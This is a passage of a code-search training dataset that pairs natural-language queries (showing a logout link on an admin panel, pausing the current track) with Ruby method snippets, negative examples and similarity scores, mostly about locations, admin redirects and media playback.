"def show\n @state = State.includes(:top_destinations).friendly.find(params[:id])\n @destinations = @state.destinations\n gon.zoom = @state.zoom\n gon.latitude = @state.latitude\n gon.longitude = @state.longitude\n render(layout: \"layouts/guide\")\n end",
"def select_location\n @customer = Customer.find(params[:customer_id])\n locations = @customer.locations\n @locations = locations.order(:customer_number).page params[:page]\n end",
"def location_bar\n\tresult = Geocoder.search(\"#{params['latitude']},#{params['longitude']}\")\n\taddress = result.first.data[\"formatted_address\"]\n\trender html: address\nend",
"def set_location_option\n @location_option = LocationOption.find(params[:id])\n end",
"def location_detail\n [self.city, self.state].join(\", \")\n end",
"def show\n if (current_user.role == \"customer\" || current_user.role == \"supervisor\")\n add_breadcrumb \"Location\", 'locations_path'\n add_breadcrumb \"View\", '#'\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n else\n redirect_to error_users_path and return\n end \n end",
"def location\n fetch('how_to_train_your_dragon.locations')\n end",
"def show\n @curpg = :admintools\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def location=(value)\n @location = value\n end",
"def locations; end",
"def user_selected_location?(location)\n if flash[:filters].length.positive? && flash[:filters][:desired_location.to_s]\n return flash[:filters][:desired_location.to_s].to_i == location.id\n else\n return false\n end\n end",
"def shows_user_location?\n self.showsUserLocation\n end",
"def location_detail\n\t\t[self.city, self.state, self.country].compact.join(\", \")\n\tend",
"def show\n @locations = VehicleLocation.where(api_vehicle_id: @vehicle.api_id)\n @current_location = @locations.last\n end",
"def show\n @group = Group.find(params[:id])\n\n unless params[:lat].nil? || params[:lon].nil?\n @foursquare_results = @group.nearby_food_choices(@group, params[:lat], params[:lon])\n else\n @foursquare_results = nil\n end\n end",
"def show\n @location = Location.find_by_slug(params[:id])\n\n respond_to do |format|\n format.html do\n @title = @location.name\n\n @map = GMap.new(\"map_div\")\n @map.control_init(:large_map => true,:map_type => true)\n if(@location.precision == :address)\n @map.center_zoom_init([@location.lat,@location.lng],15)\n else\n @map.center_zoom_init([@location.lat,@location.lng],12)\n end\n\n info_window = render_to_string :partial => \"gmap_info_window\",\n :locals => {:location => @location}\n info_window.gsub!(/\\n/, '')\n\n club = GMarker.new([@location.lat,@location.lng],\n :info_window => info_window)\n @map.record_global_init(club.declare(\"club\"))\n @map.overlay_init(club)\n @map.record_init(\"club.openInfoWindowHtml(\\\"#{club.info_window}\\\");\\n\")\n end\n format.xml { render :xml => @location }\n end\n end",
"def selectLocation(x, y)\n if x.instance_of?(Integer) && y.instance_of?(Integer)\n if x.between?(0,6) && y.between?(0,6)\n return @locations[x][y]\n end\n end\n return nil\n end",
"def location=(loc)\r\n @options[:location] = loc\r\n @perimeter = get_perimeter()\r\n end",
"def location\n # and call a private getter method within\n puts \"I live on #{address.split[1]} street.\"\n end",
"def location\n puts 'A female voice appears from a tiny speaker somewhere in the room'\n puts 'Thank you for using this device. Where and when would you like to go'.colorize(:red)\n puts 'To make your travelling more efficent please type a single location and time'\n puts 'Enter a location:'\n location = gets.chomp\n puts \"Great! You have answered #{location}\".colorize(:light_blue)\n return location\nend",
"def location\n recommendations 'location'\n end",
"def location(value)\n @ole.Location = value\n nil\n end",
"def location\n \"#{@position} #{DIRECTIONS[@orientation]}\"\n end",
"def list_locations\n query = create_query(:Location, :all, by: default_sort_order)\n show_selected_locations(query, link_all_sorts: true)\n end",
"def info\n\t\t\"#{name}, #{location}\"\n\tend",
"def set_location\n @location = \"Minneapolis, MN\"\n end",
"def location\n @location\n end",
"def location\n ans = location_answers.first\n ans ? ans.location : nil\n end",
"def show\n @campus_food = CampusFood.find(params[:id])\n\t@loc = params[:loc]\n\t\n\t@locations = Location.all(:conditions =>[ \"loc like ? \", \"%#{params[:loc]}%\"])\n\tif [email protected]?\n @lat = @locations[0].lat\n @lng = @locations[0].lng\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @locations }\n end\n end",
"def show\n @user = User.find(params[:id]) if params[:id].present? && params[:id] != \"show\"\n unless @user\n @user = current_user\n end\n\n client = YahooWeather::Client.new\n @location = 'New York'\n if @user.locations.any?\n @location = @user.locations.first.address\n end\n\n\n end",
"def set_location\n @location = Location.friendly.find(params[:id])\n end",
"def location(value)\n self.send('in', value)\n end",
"def set_location\n location = flickr.places.findByLatLon(lat: lat, lon: lon)\n location.size >= 1 ? @location = location.first['name'] : @location = \"Unidentifiable location\"\n end",
"def set_location\n @location = Location.find(params[:id])\n add_location_breadcrumb @location\n end",
"def choose_marker_position(options)\r\n available_spaces = options.map { |space| @game.index_to_placeholder(space) }\r\n @output.puts \"Available Options: #{available_spaces}\"\r\n\r\n @game.placeholder_to_index(get_valid_input(available_spaces))\r\n end",
"def location\n self.location_id > 0 ? Location.find(self.location_id).name : NOT_SET \n end",
"def show\n redirect_to_default_page_if_no_city(\"First create the ship\")\n end",
"def location\n @location\n end",
"def set_location\n @location = Location.find(params[:id])\n end",
"def city_and_country\n \"#{self.location.city} - #{self.location.country}\"\n end",
"def location_label(value)\n value\n end",
"def my_location\n\t\t\"#{address}, #{city}, GA\"\n\tend",
"def show\n @location = Location.find(:first, :conditions => [ \"geonameid = ?\", params[:id] ] )\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end",
"def show\n\n @location = Location.friendly.find(params[:id])\n\n # Retrieve all locations within 20 miles of this location\n @nearby_locations = Location.near([@location.latitude, @location.longitude], 20).where.not(id: @location.id)\n\n end",
"def set_location\n @location = Spree::Location.find(params[:id])\n end",
"def show\r\n\t\trender_result(\r\n\t\t\tdata: @addr_country,\r\n\t\t\tmeta: {}\r\n\t\t)\r\n\tend",
"def set_location\n @location = current_user.locations.find(params[:id])\n end",
"def location\n \"#{((street_id.nil? or street.nil?) ? I18n.t('noname') : (street.isempty? ? I18n.t('no-street') : street.name.to_s) + ', ' + (street.city_id.nil? ? I18n.t('no-city') : (street.city_isempty ? I18n.t('no-city') : street.city_name.to_s) + ', ' + ((street.state_id.nil? or street.state_name.empty?) ? I18n.t('no-state') : street.state_name.to_s)))}\"\n end",
"def location_address\n begin\n \"#{cart.line_items.first.menu_section_item.menu_section.menu.location.\n address}, #{cart.line_items.first.menu_section_item.menu_section.menu.\n location.city}, #{cart.line_items.first.menu_section_item.menu_section.\n menu.location.region}\"\n rescue\n \"No current address on record.\"\n end\n end",
"def show\n @map = Map.find(@marker.map_id)\n end",
"def show_selected_location_descriptions(query, args={})\n store_query_in_session(query)\n @links ||= []\n args = {\n :action => 'list_location_descriptions',\n :num_per_page => 50,\n }.merge(args)\n\n # Add some alternate sorting criteria.\n args[:sorting_links] = [\n ['name', :sort_by_name.t],\n ['created_at', :sort_by_created_at.t],\n ['updated_at', :sort_by_updated_at.t],\n ['num_views', :sort_by_num_views.t],\n ]\n\n # Add \"show locations\" link if this query can be coerced into an\n # observation query.\n if query.is_coercable?(:Location)\n @links << [:show_objects.t(:type => :location), {\n :action => 'index_location',\n :params => query_params(query),\n }]\n end\n\n show_index_of_objects(query, args)\n end",
"def user_shot_selection_text\n \"Enter the coordinate for your shot:\\n> \"\n end",
"def location\n vm.location\n end",
"def action_menu(choice,phonebook)\n case choice\n when \"1\"\n show_cities(phonebook)\n when \"2\"\n show_area_code(phonebook)\n else\n puts \"Invalid choice! Example: Type \\\"1\\\" to list all cities available. \\n\\n\"\n end\nend",
"def display_with_region\n \"#{name} / #{region.name}\"\n end",
"def show\n slug = params[:id]\n @location = Location.find_by_slug(slug)\n\n unless @location\n slug_redirect = SlugRedirect.find_by_slug(slug)\n\n if slug_redirect\n redirect_to location_path(slug_redirect.location.slug), :status => :moved_permanently and return\n end\n\n raise ActiveRecord::RecordNotFound.new(\"No such club: #{params[:id]}\")\n end\n\n respond_to do |format|\n format.html do\n @title = @location.name\n\n @map = create_map(@location)\n\n pushpin_for_club(@location, :show_info_window => true) if @map\n end\n format.xml { render :xml => @location }\n end\n end",
"def form_escolher\n lst_from.select 'London'\n lst_on.select 'December'\n lst_month.select '20'\n lst_arriving.select 'Acapulco'\n lst_returning.select 'October'\n lst_month_returning.select '21'\n check_port.click\n lst_airline.select 'Blue Skies Airlines'\n end",
"def show\n respond_with PreferredPosition.find(params[:id])\n end",
"def location\n self.well_info.location\n end"
] | [
"0.72246563",
"0.70836264",
"0.69254565",
"0.64676356",
"0.64052504",
"0.6343469",
"0.6172598",
"0.60997164",
"0.60342556",
"0.60231566",
"0.60148776",
"0.6014681",
"0.5956577",
"0.5956577",
"0.5956577",
"0.5956577",
"0.5943234",
"0.58837545",
"0.5880966",
"0.58531857",
"0.58249336",
"0.5817755",
"0.58028966",
"0.5786738",
"0.5777231",
"0.57752895",
"0.57731986",
"0.57661897",
"0.5755824",
"0.57541084",
"0.5720654",
"0.57136464",
"0.57023704",
"0.5691696",
"0.567819",
"0.5624423",
"0.5624151",
"0.5623411",
"0.56226444",
"0.56215596",
"0.56153095",
"0.5605118",
"0.56019884",
"0.55913514",
"0.55911434",
"0.5584137",
"0.55837196",
"0.55770767",
"0.55705625",
"0.5570553",
"0.5562266",
"0.55612427",
"0.5537554",
"0.5533474",
"0.5530887",
"0.552946",
"0.5518973",
"0.55018526",
"0.5461172",
"0.5458321",
"0.5457971",
"0.5450495",
"0.5445243",
"0.5437372",
"0.5417172",
"0.5416859",
"0.5415879",
"0.54129654",
"0.5412192",
"0.5406773",
"0.5404535",
"0.53970844",
"0.5388727",
"0.5383875",
"0.53833944",
"0.5377692",
"0.53776246",
"0.5376287",
"0.5373553",
"0.5364167",
"0.53612036",
"0.5360282",
"0.5359661",
"0.5357097",
"0.5354554",
"0.5347175",
"0.5344446",
"0.53392315",
"0.5337121",
"0.53368753",
"0.53362453",
"0.5335119",
"0.53291875",
"0.53238845",
"0.5321704",
"0.5315426",
"0.53118986",
"0.53116155",
"0.5309448",
"0.5309051",
"0.5304221"
] | 0.0 | -1 |
Show logout instead of link to adminpage on adminpanel | def show_logout
@show_logout = true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def logout\n if @user != nil and @user.admin?(@routes)\n show :logout, views: File.join(Classiccms::ROOT, 'views/cms')\n end\n end",
"def logout\n session.delete(:admin_password)\n redirect_to admin_login_path\n end",
"def logout\n @logout_message = \"You have successfully logged out. Thanks for contributing!\"\n render \"/admin/login\", layout: \"public\"\n end",
"def admin_log_out\n session.delete(:admin_user_id)\n @current_admin_user = nil\n end",
"def logout_admin\n visit destroy_administrator_session_path\n end",
"def destroy\n \t#call logout method in admin_helper but only if we r loggedin\n \tlog_out if logged_in?\n \t#redirect him to homepage\n \tredirect_to root_path\n end",
"def admin_link\n # @subdomain = request.subdomain\n # @site = Site.where(subdomain: request.subdomain).first.user_id\n # @user = User.where(id: @site).first\n if user_signed_in? && @user.id == current_user.id\n html = '<li>' + (link_to '<i class=\"fa fa-cog\"></i> Admin'.html_safe, dashboard_path, target: \"_blank\") + '</li>'\n html.html_safe\n end\n end",
"def signout\n #create a signout action at admin_helper\n logout\n redirect_to :controller=>:home, :action=>:index\n end",
"def logout\n session[:user_id] = nil\n session[:admin_user_id] = nil\n flash[:notice] = \"Vous êtes déconnecté\"\n redirect_to root_url\n end",
"def show_sign_out(user_id)\n if user_id\n content_tag :li do\n link_to 'Sign out', :session, method: :delete\n end\n end\n end",
"def logged_in_admin\n unless admin?\n # show a flash message on the page\n flash[:danger] = \"Non sei autorizzato a visitare questa pagina\"\n # redirect user to home page\n redirect_to root_path\n end\n end",
"def admin_user\n redirect_to(login_path) unless current_user.is_admin?\n end",
"def show\n if !session[:is_admin]\n redirect_to root_url\n end\n end",
"def log_out\n session.delete(:admin_id)\n end",
"def auth_admin\n if !current_user.admin\n redirect_back\n end\n end",
"def auth_admin\n if !current_user.admin\n redirect_back\n end\n end",
"def auth_admin\n if !current_user.admin\n redirect_back\n end\n end",
"def admin_user\n unless logged_in? && current_user.admin?\n redirect_to root_url\n end\n end",
"def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin? # se current_user.admin for falso redireciona para pagina principal\n end",
"def logging_out_as_admin?\n session[:logged_in_with_admin_token]\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin? \n end",
"def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(root_path) unless is_admin?\n end",
"def members_logout\r\n\t@title = \"Members Logout\"\r\n end",
"def admin_user\n redirect_to(root_url) unless user_signed_in? && current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless user_signed_in? && current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless logged_in?&¤t_user.user_role\n end",
"def logout \n reset_session \n redirect_to :controller => 'admin' , :action => 'signin'\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(admin_page_url) if current_user.admin?\n end",
"def logout\r\n reset_session \r\n refreshLogout ##This will hide the logout button and display the login box\r\n \r\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_auth\n\t\tif signed_out?\n deny_access \"You must sign in first.\"\t\t\t\n\t\telse\n\t deny_access \"You must be an admin to perform that action.\" unless current_user.admin\n\t\tend\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end"
] | [
"0.7869341",
"0.7371892",
"0.73304105",
"0.71523815",
"0.7088891",
"0.7064473",
"0.70633715",
"0.7058166",
"0.6968901",
"0.69150984",
"0.6904809",
"0.68289655",
"0.6823173",
"0.68124586",
"0.681163",
"0.681163",
"0.681163",
"0.6787559",
"0.6779616",
"0.6779616",
"0.6776586",
"0.677625",
"0.67553717",
"0.67544585",
"0.67544585",
"0.6754225",
"0.6754225",
"0.6754225",
"0.6754225",
"0.6751742",
"0.67461383",
"0.6744347",
"0.6744347",
"0.6744033",
"0.67373985",
"0.6734673",
"0.6734673",
"0.6734673",
"0.6734673",
"0.6734673",
"0.6725461",
"0.67226887",
"0.67153984",
"0.67140055",
"0.67140055",
"0.67140055",
"0.67140055",
"0.67140055",
"0.67140055",
"0.67140055",
"0.67140055",
"0.67140055",
"0.67140055",
"0.67140055",
"0.67140055",
"0.67140055",
"0.67140055",
"0.67140055",
"0.6713982",
"0.6711241",
"0.6710389",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158",
"0.6710158"
] | 0.7381453 | 1 |
Pause the current track | def pause; self.app.pause end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def pause\n @paused += 1\n end",
"def pause\n @paused = true\n end",
"def pause\n @paused = true\n end",
"def pause\n unless(@paused)\n @paused = true\n reset\n end\n current_self\n end",
"def pause!\n @state = :paused\n end",
"def pause!\n @paused_mutex.synchronize do\n @paused += 1\n end\n self\n end",
"def pause\n @pause_queue << :paused\n end",
"def pause\n\n end",
"def pause()\n #This is a stub, used for indexing\n end",
"def pause\n end",
"def pause\n end",
"def pause\n end",
"def play_pause()\n @ole.PlayPause()\n end",
"def pause\n @av_player.pause unless @av_player.nil?\n end",
"def pause(cycles)\n @paused = true\n @paused_counter = cycles\n end",
"def pause(cycles)\n @paused = true\n @paused_counter = cycles\n end",
"def play_track\n return if @status.playback_state == :paused\n @logger.debug \"Playing track: #{@status.seconds} out of #{@status.length}\"\n sleep 1\n @status.seconds += 1\n update_status\n if @status.seconds >= @status.length\n @logger.debug \"Track complete. Advancing to next.\"\n @status.clear\n @status.playback_state = :stopped\n update_status\n advance\n end\n end",
"def pause!\n @paused = true\n raise(Paused)\n end",
"def raw_pause\n raw_stop\n end",
"def raw_pause\n raw_stop\n end",
"def pause\n @chrono.pause()\n self\n end",
"def pause\n sleep PAUSE_SECONDS\n end",
"def pause\n sleep PAUSE_SECONDS\n end",
"def pause()\r\n # nothing here\r\n end",
"def pause\n return unless running?\n return if paused?\n info \"PAUSE!\"\n send_command :pause\n @paused = true\n callback! :pause, true\n end",
"def pause\n puts \"Pausing Microwave...\"\n send_request(:command => :pause)\n end",
"def pause(p)\n\t\t@pause = p\n\tend",
"def pause; end",
"def pause\n `#{@sound}.pause()`\n end",
"def pause\n @actor << 'PAUSE'\n @actor.wait\n end",
"def pause\n with_queue_control do |control|\n control.pause\n end\n end",
"def unpause\n @paused -= 1\n end",
"def pause\n @service.context.post(@control_path, :action => 'pause')\n self\n end",
"def pause\n FMOD.invoke(:ChannelGroup_SetPaused, self, 1)\n self\n end",
"def pause\n @data[\"pause\"]\n end",
"def mettrePause()\n @chrono.mettreEnPause()\n end",
"def toggle_pause()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.Timer_toggle_pause(@handle.ptr)\n end",
"def play_action\n @status.playback_state = :playing\n update_status\n end",
"def pause\n @bars.each(&:pause)\n end",
"def onPause\n super\n end",
"def raw_pause\n raise NotImplementedError, _(\"must be implemented in a subclass\")\n end",
"def pause\n @server.make_json_request('show.pause', tvdbid: @tvdbid, pause: 1)['message']\n end",
"def pause(seconds)\n sleep seconds\n end",
"def skip_track\n \tTrack.find(session[:now_playing]).is_being_skipped!\n \tnew_track\n end",
"def pause_action\n Pause.new :component_id => component_id, :call_id => call_id\n end",
"def skip\n @song.kill\n @music.off\n end",
"def pause=(state)\n @paused = state\n end",
"def pause_session\n current_session = SessionTracker.get_current_session\n\n return unless current_session\n\n current_session[:paused?] = true\n end",
"def cmd_pause argv\n setup argv\n uuid = @hash['uuid']\n response = @api.pause(uuid)\n msg response\n return response\n end",
"def pausevideo\n Pusher['photo-call'].trigger('pause-video' , {\n control: \"1\"\n })\n render text: \"ok\"\n end",
"def pause()\n @ole.Pause()\n end",
"def start_playbar\n if @pause_play == \"pause\"\n @count_up = (Gosu.milliseconds - @tick)\n seconds = @count_up / 1000\n @progress = seconds * WIDTH / @song_length # Fits relative progress to window width\n\n # Statements handle song repeating and or next\n # track functionality\n if seconds >= @song_length.to_i && @repeat_song\n play_song(@currently_playing)\n elsif seconds >= @song_length.to_i\n play_song(@currently_playing + 1)\n end\n else\n @tick = Gosu.milliseconds - @count_up # pauses counter at current time\n end\nend",
"def pause_action\n Pause.new :component_id => component_id, :target_call_id => target_call_id\n end",
"def save_pause(paused, song_play_time = 0.0)\n self.play_start = DateTime.now\n self.paused = paused\n self.seconds_offset = song_play_time\n ARUtils.save_cmdline(self)\n end",
"def resume\n if(@paused)\n @paused = false\n reset\n end\n current_self\n end",
"def pause_action\n Pause.new :component_id => component_id, :call_id => call_id\n end",
"def pause()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.Timer_pause(@handle.ptr)\n end",
"def pause_or_unpause\n paused? ? unpause : pause\n end",
"def play_first_track()\n @ole.PlayFirstTrack()\n end",
"def play_first_track()\n @ole.PlayFirstTrack()\n end",
"def pause_or_not\n @pause = !@pause\n if @pause\n Text.new(\"Game Paused, press (p) to continue\", color: \"red\",\n x: ((GRID_WIDTH / 2) * GRID_SIZE) - 200,\n y: ((GRID_HEIGHT / 2) * GRID_SIZE), size:25)\n end\n end",
"def pause\n Fiber.yield\n end",
"def pause\n \tsleeper(25)\n end",
"def pause\n \tsleeper(25)\n end",
"def resume!\n should_flush = @paused_mutex.synchronize do\n @paused -= 1 if @paused > 0\n @paused == 0\n end\n flush! if should_flush\n self\n end",
"def pause!\n raise InvalidActionError, \"Cannot pause a Say that is not executing\" unless executing?\n pause_action.tap do |action|\n result = write_action action\n paused! if result\n end\n end",
"def pause\n url = 'me/player/pause'\n User.oauth_put(@user.id, url, {})\n end",
"def pause(p)\n \tsleep p\n \tputs\nend",
"def pause(value = 1)\n sleep value\nend",
"def on_game_pause_start\n # Set Game Paused Flag & Pause Frame Count\n @game_paused = true ; @pause_frame_count = Graphics.frame_count\n end",
"def toggle_pause_or_start()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.Timer_toggle_pause_or_start(@handle.ptr)\n end",
"def next_track()\n @ole.NextTrack()\n end",
"def pause!\n # Add the difference of Time.now and started_at\n # to the duration\n difference = Time.now.to_i - self.started_at.to_i\n\n # Set the started_at to nil also, only the running task should have\n # that set.\n update_attributes(duration: duration.to_i + difference, started_at: nil)\n end",
"def previous\t \n @music.off\n @song.kill\n @count -= 2\n end",
"def play!\n Song.update_all(:now_playing => false)\n self.now_playing = true\n self.last_played_at = Time.now\n votes.update_all(:active => false)\n save\n end",
"def play\n @@plays += 1\n end",
"def next_track\n reload\n @tracks[@current_track_index + 1]\n end",
"def play_track(path)\r\n @song = Gosu::Song.new(path)\r\n @song.play(false)\r\n end",
"def pause\n if !block_given?\n @j_del.java_method(:pause, []).call()\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling pause()\"\n end",
"def pause()\r\n @visDataModel.pause()\r\n return createPauseXML()\r\n end",
"def pause_music\n #pause itunes - yanked from https://github.com/sunny/anyplayer/blob/master/lib/anyplayer/players/itunes_mac.rb\n %x(osascript -e 'tell app \"iTunes\" to pause').rstrip\n #pause Spotify\n %x(osascript -e 'tell app \"Spotify\" to pause').rstrip\nend",
"def setPauseState(handle, pause)\n if ! pause\n if handle.respond_to?(:auto_managed=)\n handle.auto_managed = true\n end\n handle.resume\n else\n if handle.respond_to?(:auto_managed=)\n handle.auto_managed = false\n end\n handle.pause\n end\n end",
"def pause_session\n session_tracker.pause_session\n end",
"def pause(deck = nil)\n raise ResumeFrom, deck\n end",
"def play!\n update_attributes!(:status => :playing, :played_at => Time.now)\n self\n end",
"def toggle_pause()\n %x{#{echo} pause > #{fifo()}} if running?\n system \"stty #{$app.old_stty}\" # restore stty settings\n end",
"def pause_processing\n log \"USR2 received; pausing job processing\"\n @paused = true\n redis.set(pause_key, Time.now.to_s)\n end",
"def paused?\n @paused == true\n end",
"def paused?\n @paused == true\n end",
"def paused?\n @paused == true\n end",
"def pause!\n raise InvalidActionError, \"Cannot pause a Output that is not executing\" unless executing?\n pause_action.tap do |action|\n result = write_action action\n paused! if result\n end\n end",
"def unpause\n @service.context.post(@control_path, :action => 'unpause')\n self\n end",
"def current_track\n reload\n @tracks[@current_track_index]\n end",
"def do_pause(msg)\n\n return if h.state != nil\n\n h.state = 'paused'\n\n do_persist || return\n\n h.children.each { |i|\n @context.storage.put_msg('pause', 'fei' => i)\n } unless msg['breakpoint']\n end",
"def pause_game_time()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.Timer_pause_game_time(@handle.ptr)\n end",
"def pause!\n raise InvalidActionError, \"Cannot pause a Output that is not executing\" unless executing?\n pause_action.tap do |action|\n result = write_action action\n paused! if result\n end\n end",
"def pause_processing_with_pause_key\n pause_processing_without_pause_key\n Resque.redis.set(pause_key, Time.now.to_s)\n end",
"def play_next\n\t\t# locate now-playing and next-playing tracks\n\t\tnow_playing_track = Track.find_by(status: 'now playing')\n\t\tnext_track = Track.where(status: 'waiting').order('created_at').first\n\n\t\t# remove now-playing track(s)\n\t\tunless now_playing_track.nil?\n\t\t\t# remove the users songs from users song list\n\t\t\tlast_user_song = Song.find_by(title: now_playing_track.title, user_id: now_playing_track.user_id)\n\t\t\tlast_user_song.destroy unless last_user_song.nil?\n\n\t\t\t# remove track from player list\n\t\t\tnow_playing_track.destroy # TODO, (tbd) may want to archive this, move to a play history\n\t\tend\n\n\t\t# check to make sure there is at least one song in q to play\n\t\tunless next_track.nil?\n\t\t\t# set now-playing track to next track in q\n\t\t\tnext_track.update(status: 'now playing')\n\n\t\t\t# update the user's song status\n\t\t\tuser_song = Song.find_by(title: next_track.title, user_id: next_track.user_id)\n\t\t\tuser_song.update(status: 'now playing') unless user_song.nil?\n else\n flash[:error] = 'No music to play! Go gets some requests!'\n\t\tend\n\n \t# redisplay player page\n redirect_to '/player'\n\tend",
"def pause_game(paused)\n\t\[email protected](paused)\n\t\tif paused\n\t\t\t@paused_time = Time.now\n\t\telse\n\t\t\t@level_time = Time.now + (@level_time - @paused_time)\n\t\t\t@start_time = @start_time + (Time.now() - @paused_time)\n\t\tend\n\t\[email protected] do |laser|\n\t\t\tlaser.pause(paused)\n\t\tend\n\t\[email protected] do |a|\n\t\t\ta.pause(paused)\n\t\tend\n\t\[email protected] do |e|\n\t\t\te.pause(paused)\n\t\tend\n\t\[email protected] do |p|\n\t\t\tp.pause(paused)\n\t\tend\n\t\[email protected] do |missle|\n\t\t\tmissle.pause(paused)\n\t\tend\n\tend",
"def before_perform_pause(*args)\n if ResquePauseHelper.paused?(@queue)\n Kernel.sleep(@pause_check_interval || Resque::Plugins::Pause::PAUSE_CHECK_INTERVAL)\n ResquePauseHelper.check_paused(:queue => @queue, :class => self, :args => args)\n end\n end"
] | [
"0.7822946",
"0.77286905",
"0.77286905",
"0.7508161",
"0.7437753",
"0.7257708",
"0.7246991",
"0.7092195",
"0.70725775",
"0.70659554",
"0.70659554",
"0.70659554",
"0.70573574",
"0.70322376",
"0.7000362",
"0.7000362",
"0.69799197",
"0.69732195",
"0.6967805",
"0.6967805",
"0.69351745",
"0.6922088",
"0.6922088",
"0.6903535",
"0.6888224",
"0.68236077",
